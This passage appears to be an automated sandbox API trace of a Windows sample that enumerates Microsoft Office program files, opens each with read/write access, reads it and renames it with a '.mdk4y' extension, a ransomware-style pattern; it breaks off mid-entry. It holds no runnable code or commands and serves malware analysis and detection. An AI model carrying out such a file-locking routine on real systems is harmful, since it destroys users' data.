ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x12d80, lpOverlapped=0x0) returned 1 [0227.378] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830260800000) returned 1 [0227.378] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830260800000) returned 1 [0227.379] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOHEVI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msohevi.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOHEVI.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\msohevi.dll.mdk4y")) returned 1 [0227.382] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.382] AreFileApisANSI () returned 1 [0227.382] GetACP () returned 0x4e4 [0227.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOHTMED.EXE", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSOHTMED.EXETIESDLL.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0227.382] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOHTMED.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\msohtmed.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0227.382] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830261200000) returned 1 [0227.383] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x15780, lpOverlapped=0x0) returned 1 [0227.395] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830262500000) returned 1 [0227.395] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830262500000) returned 1 [0227.396] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOHTMED.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\msohtmed.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOHTMED.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\msohtmed.exe.mdk4y")) returned 1 [0227.398] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.398] AreFileApisANSI () returned 1 [0227.398] GetACP () returned 0x4e4 [0227.398] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOSTYLE.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSOSTYLE.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0227.398] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOSTYLE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msostyle.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0227.400] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830263000000) returned 1 [0227.400] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xa398, lpOverlapped=0x0) returned 1 [0227.401] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830263100000) returned 1 [0227.401] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830263100000) returned 1 [0227.402] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOSTYLE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msostyle.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOSTYLE.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\msostyle.dll.mdk4y")) returned 1 [0227.403] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.403] AreFileApisANSI () returned 1 [0227.403] GetACP () returned 0x4e4 [0227.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOSYNC.EXE", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSOSYNC.EXEL", lpUsedDefaultChar=0x37dfd8) returned 11 [0227.403] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOSYNC.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\msosync.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0227.475] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830270500000) returned 1 [0227.475] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xde180, lpOverlapped=0x0) returned 1 [0227.515] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830274500000) returned 1 [0227.515] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830274500000) returned 1 [0227.523] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOSYNC.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\msosync.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOSYNC.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\msosync.exe.mdk4y")) returned 1 [0227.525] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.525] AreFileApisANSI () returned 1 [0227.525] GetACP () returned 0x4e4 [0227.525] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOUC.EXE", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSOUC.EXEXE", lpUsedDefaultChar=0x37dfd8) returned 9 [0227.526] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOUC.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\msouc.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0227.526] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830275600000) returned 1 [0227.526] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x77978, lpOverlapped=0x0) returned 1 [0227.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830276700000) returned 1 [0227.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830276700000) returned 1 [0227.541] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOUC.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\msouc.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOUC.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\msouc.exe.mdk4y")) returned 1 [0227.544] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.544] AreFileApisANSI () returned 1 [0227.544] GetACP () returned 0x4e4 [0227.544] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOUTL.OLB", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSOUTL.OLBE", lpUsedDefaultChar=0x37dfd8) returned 10 [0227.544] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOUTL.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msoutl.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0227.545] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830277500000) returned 1 [0227.545] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x65d78, lpOverlapped=0x0) returned 1 [0227.582] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830281200000) returned 1 [0227.582] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830281200000) returned 1 [0227.588] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOUTL.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msoutl.olb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOUTL.OLB.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\msoutl.olb.mdk4y")) returned 1 [0227.591] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.591] AreFileApisANSI () returned 1 [0227.591] GetACP () returned 0x4e4 [0227.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOUTLS.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSOUTLS.DLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0227.591] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOUTLS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msoutls.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0227.592] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830282200000) returned 1 [0227.592] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x45578, lpOverlapped=0x0) returned 1 [0227.607] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830283700000) returned 1 [0227.607] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830283700000) returned 1 [0227.609] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOUTLS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msoutls.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOUTLS.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\msoutls.dll.mdk4y")) returned 1 [0227.612] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.612] AreFileApisANSI () returned 1 [0227.612] GetACP () returned 0x4e4 [0227.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPJEVTS.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSPJEVTS.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0227.612] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPJEVTS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mspjevts.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0227.613] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830284300000) returned 1 [0227.613] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x11560, lpOverlapped=0x0) returned 1 [0227.615] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830284500000) returned 1 [0227.615] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830284500000) returned 1 [0227.615] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPJEVTS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mspjevts.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPJEVTS.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mspjevts.dll.mdk4y")) returned 1 [0227.617] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.617] AreFileApisANSI () returned 1 [0227.617] GetACP () returned 0x4e4 [0227.617] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPPT.OLB", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSPPT.OLBDLL", lpUsedDefaultChar=0x37dfd8) returned 9 [0227.617] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPPT.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msppt.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0227.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830284800000) returned 1 [0227.618] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x62588, lpOverlapped=0x0) returned 1 [0227.655] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830288500000) returned 1 [0227.655] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830288500000) returned 1 [0227.658] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPPT.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msppt.olb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPPT.OLB.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\msppt.olb.mdk4y")) returned 1 [0227.660] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.660] AreFileApisANSI () returned 1 [0227.660] GetACP () returned 0x4e4 [0227.660] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPRJ.OLB", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSPRJ.OLB", lpUsedDefaultChar=0x37dfd8) returned 9 [0227.660] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPRJ.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msprj.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0227.663] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830289300000) returned 1 [0227.663] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xd65a0, lpOverlapped=0x0) returned 1 [0227.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830292300000) returned 1 [0227.694] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830292300000) returned 1 [0227.702] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPRJ.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msprj.olb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPRJ.OLB.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\msprj.olb.mdk4y")) returned 1 [0227.704] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.704] AreFileApisANSI () returned 1 [0227.704] GetACP () returned 0x4e4 [0227.704] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msproof7.dll", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="msproof7.dll", lpUsedDefaultChar=0x37dfd8) returned 12 [0227.704] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.704] AreFileApisANSI () returned 1 [0227.704] GetACP () returned 0x4e4 [0227.704] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPST32.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSPST32.DLLl", lpUsedDefaultChar=0x37dfd8) returned 11 [0227.704] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPST32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mspst32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0227.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830293600000) returned 1 [0227.706] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0227.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830296500000) returned 1 [0227.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830296500000) returned 1 [0227.743] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPST32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mspst32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPST32.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mspst32.dll.mdk4y")) returned 1 [0227.746] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.746] AreFileApisANSI () returned 1 [0227.746] GetACP () returned 0x4e4 [0227.746] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB.EXE", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSPUB.EXELL", lpUsedDefaultChar=0x37dfd8) returned 9 [0227.746] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0227.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830297700000) returned 1 [0227.747] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0227.774] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830300400000) returned 1 [0227.774] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830300400000) returned 1 [0227.782] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.exe.mdk4y")) returned 1 [0227.784] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.784] AreFileApisANSI () returned 1 [0227.784] GetACP () returned 0x4e4 [0227.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mspub.exe.manifest", cchWideChar=18, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="mspub.exe.manifestL.DLL", lpUsedDefaultChar=0x37dfd8) returned 18 [0227.784] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mspub.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0227.786] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830301600000) returned 1 [0227.786] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x4b7, lpOverlapped=0x0) returned 1 [0227.793] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830302300000) returned 1 [0227.793] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830302300000) returned 1 [0227.793] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mspub.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.exe.manifest"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mspub.exe.manifest.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.exe.manifest.mdk4y")) returned 1 [0227.795] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.795] AreFileApisANSI () returned 1 [0227.795] GetACP () returned 0x4e4 [0227.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB.TLB", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSPUB.TLB.manifest", lpUsedDefaultChar=0x37dfd8) returned 9 [0227.795] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.TLB" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0227.796] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830302600000) returned 1 [0227.796] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x3ff28, lpOverlapped=0x0) returned 1 [0227.837] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830306700000) returned 1 [0227.837] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830306700000) returned 1 [0227.839] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.TLB" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.tlb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.TLB.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.tlb.mdk4y")) returned 1 [0227.841] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.841] AreFileApisANSI () returned 1 [0227.841] GetACP () returned 0x4e4 [0227.841] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSQRY32.EXE", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSQRY32.EXEanifest", lpUsedDefaultChar=0x37dfd8) returned 11 [0227.841] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSQRY32.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\msqry32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0227.842] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830307200000) returned 1 [0227.842] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xd1160, lpOverlapped=0x0) returned 1 [0227.884] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830311500000) returned 1 [0227.885] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830311500000) returned 1 [0227.893] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSQRY32.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\msqry32.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSQRY32.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\msqry32.exe.mdk4y")) returned 1 [0227.900] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.900] AreFileApisANSI () returned 1 [0227.900] GetACP () returned 0x4e4 [0227.900] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 